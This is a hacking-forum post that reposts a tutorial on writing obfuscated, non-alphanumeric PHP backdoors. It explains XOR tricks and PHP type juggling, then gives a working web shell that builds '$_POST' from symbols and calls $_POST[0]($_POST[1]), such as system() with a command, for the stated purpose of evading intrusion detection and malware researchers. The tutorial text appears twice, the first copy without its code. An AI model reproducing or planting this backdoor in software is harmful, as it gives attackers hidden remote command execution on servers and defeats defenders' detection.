How To Write Nonalphanumeric PHP Backdoors 02-28-2014, 10:47 PM
#1
This is Starfall's tutorial on a competing Hacking Forum. I have her permission to post this. Insperation for posting this came from the NTP Script that was leaked, which was encoded in XOR. https://www.sinister.ly/Thread-Leak-NTP-...or-booters
-----------
This tutorial is my attempt at entrance to Legion.
In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.
You will need to know:
As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.
Example:
Mathematically, XOR is associative. This means if C = A XOR B, then A = B XOR C and B = C XOR A.
XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.
This crap will be important later, when our backdoor decodes itself.
To find values to use in your code, try this:
The above example will return <. Because XOR is associative, we now know that "<" ^ "}" = "A", and can generate an A without using any alphanumeric characters.
We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.
For example, we can cast strings as functions, ints as strings and booleans as ints.
Example:
Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.
The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.
A rather oversimplified example of a nonalpha PHP backdoor is as follows:
We can consolidate $__ into a single line, making this code much harder to read, like so:
We now have a basic obfuscated PHP function-call backdoor. But what if we need to call a function with 2 or more parameters? I won't spoon feed this, but we can use the same ideas to check if the length of our $_POST array is greater than two, and then use a ternary statement to run our code, like so.
Code intentionally broken because skiddies gonna skid.
To actually use the backdoor above, we'd need to send POST variables as such:
0=function name we want to call, such as system() or readfile().
1=parameters, the command we want to run, file we want to read or whatever.
If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.
Am I cool yet?
-----------
This tutorial is my attempt at entrance to Legion.
In it, I will cover how to write non-alphanumeric PHP backdoors. This requires a bit of prior knowledge.
You will need to know:
- PHP
- Logic
- How to use curl or at least some kind of HTTP request editor (if you're going to make a strange backdoor)
As a quick primer, I'll go over what that does. XOR takes two bits and compares them, then generates a new bit depending on the result. If the bits compared are the same, the result bit is 0. If they're different, the result bit is 1. In PHP, this comparison is done bit-by-bit with two bytes.
Example:
Code:
A B A XOR B
0 1 1
0 0 0
1 1 0XOR also is commutative, and has an identity property. XORing a bit with 0 always returns itself, and XORing a bit with itself always returns 0.
This crap will be important later, when our backdoor decodes itself.
To find values to use in your code, try this:
PHP Code:
<?php
echo "A" ^ "}"; ?>We'll need to go over a few more ideas first, that may not be obvious to some people. PHP is a weakly typed language, meaning we can abuse its typing a bit.
For example, we can cast strings as functions, ints as strings and booleans as ints.
Example:
PHP Code:
$_++; // This will throw a warning, suppressable with the @ operator.
// Because an undefined variable's value is null, and null==false==0, we can add 1 to it and create a number without using any numbers.
$__="<"^"}"; // This is "A".
$__("stuff"); // A is an undefined function so this will error and die. I don't care. It still shows that we can call strings as functions.
$___=!$_; // This will be !1 = !true = false
Now, why would we want to make a non-alpha PHP backdoor, you might ask? Well, there are a few reasons. Mainly we would want to bypass an IDS and confuse the hell out of malware researchers, but there are many other reasons I could think of.
The basic idea is to create some useful strings like "_POST", "system", "call_user_func_array", or whatever we want to do in our backdoor, then call them with user input as parameters, all without using a single letter or number in our code. We can do this using the XOR operator and other bitwise shifts if we so desire.
A rather oversimplified example of a nonalpha PHP backdoor is as follows:
PHP Code:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
/* we have to encapsulate our $__ in {}s so we don't confuse PHP.
Without these, it will return $("_POST"[0]) which is "_", instead of our input.
*/
?>PHP Code:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
PHP Code:
@$__!=@!_?@$___(${$_}[$____],${$_}[$__]):@$___(${$_}[$____]);
To actually use the backdoor above, we'd need to send POST variables as such:
0=function name we want to call, such as system() or readfile().
1=parameters, the command we want to run, file we want to read or whatever.
If there's anything I missed or that you'd like me to add to this, please let me know, and please provide feedback. Thanks.
Am I cool yet?
![[Image: F4Z9Dqw.png]](https://i.imgur.com/F4Z9Dqw.png)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: BXqGARG.png]](https://i.imgur.com/BXqGARG.png)
